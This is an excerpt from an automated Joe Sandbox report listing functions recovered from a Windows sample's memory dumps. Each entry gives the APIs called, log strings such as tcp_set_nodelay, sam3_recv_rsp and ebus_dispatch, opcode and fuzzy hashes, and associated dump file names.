Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 9528aeaa2bf256ae8ff0f18ad45033aaf4b3f86c5b89e20fedb4b7824a9256c1
Instruction ID: 9675905ba5984215370ed3c1b91cc47f9745e2a17f9f0331bddb6e6b785d351b
Opcode Fuzzy Hash: 9528aeaa2bf256ae8ff0f18ad45033aaf4b3f86c5b89e20fedb4b7824a9256c1
Instruction Fuzzy Hash: C4F0F6A1B082824AF3505F1EB8001B66661AB883E4F108231EF5D837D4DF7CD589EB00

Function 00007FF8BFAB152A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFAB155A
WSAGetLastError.WS2_32 ref: 00007FF8BFAB1571

Strings

[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFAB1588
tcp_set_nodelay, xrefs: 00007FF8BFAB1581

Memory Dump Source

Source File: 00000016.00000002.4543205209.00007FF8BFAB1000.00000020.00000001.01000000.0000000B.sdmp, Offset: 00007FF8BFAB0000, based on PE: true

Associated: 00000016.00000002.4543176156.00007FF8BFAB0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543229217.00007FF8BFAC0000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543258072.00007FF8BFAC8000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543280015.00007FF8BFACB000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000016.00000002.4543353485.00007FF8BFACC000.00000008.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfab0000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: fd868c65be3afd4cf4706a3199d6f8f6826288c199685166dd3a51f61f000229
Instruction ID: c2c81055ad4814c2a162e0fb38be9ad6f283391f2d88b0d379212b11af09505d
Opcode Fuzzy Hash: fd868c65be3afd4cf4706a3199d6f8f6826288c199685166dd3a51f61f000229
Instruction Fuzzy Hash: 26F0FC61B0850149F3145F5DBC012655764AB843D8F409231EF1D837E5DE3CD54DC700

Function 00007FF8BA50233A Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BA50236A
WSAGetLastError.WS2_32 ref: 00007FF8BA502381

Strings

[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BA502398
tcp_set_nodelay, xrefs: 00007FF8BA502391

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: fac0814526277d35c4ae5de8df6aa49abb8a23ef8b610365522404217a87e9a8
Instruction ID: 0230ac9dc29d53df7717308482facd3f68557dbdafeb762528be4e2380f4a0a7
Opcode Fuzzy Hash: fac0814526277d35c4ae5de8df6aa49abb8a23ef8b610365522404217a87e9a8
Instruction Fuzzy Hash: 26F06871A0C142A5F3605B5DBC405BA6550EB857E4F404271EF5D837A4DB7CDA4A8700

Function 00007FF8B9184EBA Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 32networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8B9184EEA
WSAGetLastError.WS2_32 ref: 00007FF8B9184F01

Strings

[E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8B9184F18
tcp_set_nodelay, xrefs: 00007FF8B9184F11

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(TCP_NODELAY) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_nodelay
API String ID: 1729277954-3534120083
Opcode ID: 4fd31f1ea14685cc47037a91840700bcfe726a69cab849f9c3268bbebf3dbd7d
Instruction ID: dbd5bd8f07a5da5b8f0c47525de92ea1b5b8f5faafe28a441d3196e73335dc97
Opcode Fuzzy Hash: 4fd31f1ea14685cc47037a91840700bcfe726a69cab849f9c3268bbebf3dbd7d
Instruction Fuzzy Hash: C5F0F661B085828AF3105F1DA8406B56661AB843E4F108231EE2D83BD5DF7CD947EB00

Function 00007FF8BFB81A76 Relevance: 7.0, APIs: 2, Strings: 2, Instructions: 29networkCOMMON

Download Yara Rule

APIs

setsockopt.WS2_32 ref: 00007FF8BFB81A9E
WSAGetLastError.WS2_32 ref: 00007FF8BFB81AB5

Strings

[E] (%s) -> setsockopt(SO_KEEPALIVE) failed(sock=0x%llx,value=%d,WSAgle=%d), xrefs: 00007FF8BFB81ACC
tcp_set_keepalive, xrefs: 00007FF8BFB81AC5

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: ErrorLastsetsockopt
String ID: [E] (%s) -> setsockopt(SO_KEEPALIVE) failed(sock=0x%llx,value=%d,WSAgle=%d)$tcp_set_keepalive
API String ID: 1729277954-536111009
Opcode ID: efdd2f4e0631f6d227b78a496f5860539d083fedbc232eec6b79c452b0d326fa
Instruction ID: e0035c0396eadf7912557962a66d3eae1d985f310ec7c81925add4ad04bb38ab
Opcode Fuzzy Hash: efdd2f4e0631f6d227b78a496f5860539d083fedbc232eec6b79c452b0d326fa
Instruction Fuzzy Hash: 57F09061A0854286E3109FAEF8005756760AB887D4F10C331EA6D837A4DE3CD50ACB00

Function 00007FF8BFB8924C Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 72stringCOMMON

Download Yara Rule

APIs

memset.MSVCRT ref: 00007FF8BFB89285
strchr.MSVCRT ref: 00007FF8BFB892D1

Strings

[D] (%s) -> %s, xrefs: 00007FF8BFB892F2
sam3_recv_rsp, xrefs: 00007FF8BFB892EB

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: memsetstrchr
String ID: [D] (%s) -> %s$sam3_recv_rsp
API String ID: 2564583029-4292814133
Opcode ID: 6054bc854355412dd534d9800395cb815e31de645798f9446980f867bb94e619
Instruction ID: 471846009eb15f8d0148469fee1f802491f413c298e58b7d902158506ede7860
Opcode Fuzzy Hash: 6054bc854355412dd534d9800395cb815e31de645798f9446980f867bb94e619
Instruction Fuzzy Hash: CA215122F0C55242FE2155ED68147B867404F82FF0F688331EF7D8A7D6DE1CA842D201

Function 00007FF8BFB89A40 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8BFB89A79
LeaveCriticalSection.KERNEL32 ref: 00007FF8BFB89AFB

Strings

ebus_dispatch, xrefs: 00007FF8BFB89ACA
[D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x), xrefs: 00007FF8BFB89AD1

Memory Dump Source

Source File: 00000016.00000002.4543573276.00007FF8BFB81000.00000020.00000001.01000000.00000009.sdmp, Offset: 00007FF8BFB80000, based on PE: true

Associated: 00000016.00000002.4543552020.00007FF8BFB80000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543603877.00007FF8BFB93000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543623077.00007FF8BFB94000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543647847.00007FF8BFB9D000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543666942.00007FF8BFBA0000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543695367.00007FF8BFBA1000.00000008.00000001.01000000.00000009.sdmpDownload File
Associated: 00000016.00000002.4543713581.00007FF8BFBA4000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8bfb80000_main.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: [D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x)$ebus_dispatch
API String ID: 3168844106-1717220914
Opcode ID: 5f07f7dd6c7a8ca443123c93aa7333b3264cb797661900b59e1563f9beebcf4d
Instruction ID: dc023329bf1bd25f25b0379eca4aa750102418e81bad979789e348e1a7740482
Opcode Fuzzy Hash: 5f07f7dd6c7a8ca443123c93aa7333b3264cb797661900b59e1563f9beebcf4d
Instruction Fuzzy Hash: 36214F32A18A4685EB148F9DE88016977A0FB84FD8F548135DF8D47BA8DF3CD841C700

Function 00007FF8B9151780 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8B91517B9
LeaveCriticalSection.KERNEL32 ref: 00007FF8B915183B

Strings

[D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x), xrefs: 00007FF8B9151811
ebus_dispatch, xrefs: 00007FF8B915180A

Memory Dump Source

Source File: 00000016.00000002.4542713133.00007FF8B9151000.00000020.00000001.01000000.0000000F.sdmp, Offset: 00007FF8B9150000, based on PE: true

Associated: 00000016.00000002.4542690399.00007FF8B9150000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542749406.00007FF8B9164000.00000002.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542780347.00007FF8B916D000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542800996.00007FF8B9170000.00000004.00000001.01000000.0000000F.sdmpDownload File
Associated: 00000016.00000002.4542827161.00007FF8B9171000.00000008.00000001.01000000.0000000F.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9150000_main.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: [D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x)$ebus_dispatch
API String ID: 3168844106-1717220914
Opcode ID: f8d29101610d8f76ac1ed4feefd51e892c0e55ef3eadb0d75f62bac78426d285
Instruction ID: 90a9f288c0f04b3fdc422082309e99f4dc68bd75de7765265834ecdc89b1abc8
Opcode Fuzzy Hash: f8d29101610d8f76ac1ed4feefd51e892c0e55ef3eadb0d75f62bac78426d285
Instruction Fuzzy Hash: D5216D32A09AC286EB228F19F85016967A4FB44BD4F548135DF8E477A8DF3CE881E700

Function 00007FF8BA501780 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8BA5017B9
LeaveCriticalSection.KERNEL32 ref: 00007FF8BA50183B

Strings

[D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x), xrefs: 00007FF8BA501811
ebus_dispatch, xrefs: 00007FF8BA50180A

Memory Dump Source

Source File: 00000016.00000002.4543038707.00007FF8BA501000.00000020.00000001.01000000.0000000D.sdmp, Offset: 00007FF8BA500000, based on PE: true

Associated: 00000016.00000002.4543016103.00007FF8BA500000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543075522.00007FF8BA513000.00000002.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543104552.00007FF8BA51C000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543126131.00007FF8BA51F000.00000004.00000001.01000000.0000000D.sdmpDownload File
Associated: 00000016.00000002.4543151844.00007FF8BA520000.00000008.00000001.01000000.0000000D.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8ba500000_main.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: [D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x)$ebus_dispatch
API String ID: 3168844106-1717220914
Opcode ID: 8e0882bfb16548fdbf9dfd9db4ecb549daa1a64d832ac2d375aca87d32d6b52b
Instruction ID: 02d8e5dc36b3505a46eed67acc1d440dcf5bb792aac7b6d4d6320713ce83da55
Opcode Fuzzy Hash: 8e0882bfb16548fdbf9dfd9db4ecb549daa1a64d832ac2d375aca87d32d6b52b
Instruction Fuzzy Hash: 1E211A32A0DA82D6EB608F99EC8017AA364FB46BD4B544176DF4D877A8DF2CDA45C700

Function 00007FF8B918EE60 Relevance: 6.1, APIs: 2, Strings: 2, Instructions: 52COMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32 ref: 00007FF8B918EE99
LeaveCriticalSection.KERNEL32 ref: 00007FF8B918EF1B

Strings

ebus_dispatch, xrefs: 00007FF8B918EEEA
[D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x), xrefs: 00007FF8B918EEF1

Memory Dump Source

Source File: 00000016.00000002.4542875243.00007FF8B9181000.00000020.00000001.01000000.0000000E.sdmp, Offset: 00007FF8B9180000, based on PE: true

Associated: 00000016.00000002.4542850884.00007FF8B9180000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542909887.00007FF8B9196000.00000002.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542940731.00007FF8B91A0000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542967259.00007FF8B91A3000.00000004.00000001.01000000.0000000E.sdmpDownload File
Associated: 00000016.00000002.4542988009.00007FF8B91A4000.00000008.00000001.01000000.0000000E.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff8b9180000_main.jbxd

Similarity

API ID: CriticalSection$EnterLeave
String ID: [D] (%s) -> Done(size=%u,code=%08x(%.4s),sender=%016llx(%.8s),receiver=%016llx(%.8s),td=%lld,err=%08x)$ebus_dispatch
API String ID: 3168844106-1717220914
Opcode ID: 6ceb723587c1d552a552b3ca08934bf7bc6d823551b69239d98c8e8180dbb2b5
Instruction ID: 81c6790ab38e76af12fee2b21d678a56249cff04711593347faecb4257a60471
Opcode Fuzzy Hash: 6ceb723587c1d552a552b3ca08934bf7bc6d823551b69239d98c8e8180dbb2b5
Instruction Fuzzy Hash: 53212C32A08AC282E755DF19E88017867A4FB45BD4B544135DB9D87768DF3CE945E700

Function 00007FF7088726AB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: a705a9e8397c2a0e157e5c4623b06167a9953578c27c6b65fef050b1d192d77b
Instruction ID: fc4d0e07c66e5e6dd921146151fea6099c7eb3f5b1ecac4947582cdd9f0cbcdd
Opcode Fuzzy Hash: a705a9e8397c2a0e157e5c4623b06167a9953578c27c6b65fef050b1d192d77b
Instruction Fuzzy Hash: 56F05427B2860341F562FA04BD51FB9D1521F417A8EC94535CD5E0B6D1AF3DD8E7C228

Function 00007FF7088726B2 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 50ddab41c2895b9b22a4d4635a104b7c26654cb7d37fed117f5fd98ba531e54b
Instruction ID: 27658a0b7162c1c32d9d3ebe27860d9e8c90410d881095c918d585898f14ce0d
Opcode Fuzzy Hash: 50ddab41c2895b9b22a4d4635a104b7c26654cb7d37fed117f5fd98ba531e54b
Instruction Fuzzy Hash: C2F05427B2860341F562FA04BD51FB9D1511F417A8EC94535CD5E0B6D1AF3DE8E7C228

Function 00007FF70887269D Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 298fcd67afb21f34e54bbad9e7584857e5bbec19edc43fb558493789f31abe6c
Instruction ID: 33e429f35f9037154bddea94685311d94780c043832c7b0ff2e3ae928c21461a
Opcode Fuzzy Hash: 298fcd67afb21f34e54bbad9e7584857e5bbec19edc43fb558493789f31abe6c
Instruction Fuzzy Hash: CFF05427B2860341F562FA04BD51FB9D1512F417A4EC94535CD5D0B6D1AF3DD8E7C228

Function 00007FF7088726A4 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: de9fe99c49374705cdcb2ee0732af089202a8badd931d2ba541aeaae33d80ef1
Instruction ID: 1982a6ec56c5d65f519c7a76dba285769735694fa4aeeea8f3f1923df98d5f5c
Opcode Fuzzy Hash: de9fe99c49374705cdcb2ee0732af089202a8badd931d2ba541aeaae33d80ef1
Instruction Fuzzy Hash: 86F0B423B2860341F562FA04BD50FB8D1111F407A8EC94531CD4E0B2D1AF3CD8E7C228

Function 00007FF7088726D6 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: 298fcd67afb21f34e54bbad9e7584857e5bbec19edc43fb558493789f31abe6c
Instruction ID: 33e429f35f9037154bddea94685311d94780c043832c7b0ff2e3ae928c21461a
Opcode Fuzzy Hash: 298fcd67afb21f34e54bbad9e7584857e5bbec19edc43fb558493789f31abe6c
Instruction Fuzzy Hash: CFF05427B2860341F562FA04BD51FB9D1512F417A4EC94535CD5D0B6D1AF3DD8E7C228

Function 00007FF7088726B9 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
API String ID: 3125558077-1073242539
Opcode ID: a09d7dc10f7d908e29253be61fa3c9b9b29b600e8bb5bbe80d6b09c93456bd94
Instruction ID: 10d1004616132549f8f6512c7385b04f39329ef44a03364ddad20f1463ff0b50
Opcode Fuzzy Hash: a09d7dc10f7d908e29253be61fa3c9b9b29b600e8bb5bbe80d6b09c93456bd94
Instruction Fuzzy Hash: D9F05427B2860341F562FA04BD51FB9D1511F417A8EC94535CD5E0B6D1AF3DD8E7C228

Function 00007FF7088726EB Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 34COMMON

Download Yara Rule

APIs

fclose.MSVCRT ref: 00007FF708872715

Strings

[E] (%s) -> Failed(path=%s,err=%08x), xrefs: 00007FF708872759
fs_file_read, xrefs: 00007FF708872752

Memory Dump Source

Source File: 00000016.00000002.4541095826.00007FF708871000.00000020.00000001.01000000.00000008.sdmp, Offset: 00007FF708870000, based on PE: true

Associated: 00000016.00000002.4541064552.00007FF708870000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541124486.00007FF708880000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF708888000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541158347.00007FF70888A000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000016.00000002.4541209081.00007FF70888E000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_22_2_7ff708870000_main.jbxd

Similarity

API ID: fclose
String ID: [E] (%s) -> Failed(path=%s,err=%08x)$fs_file_read
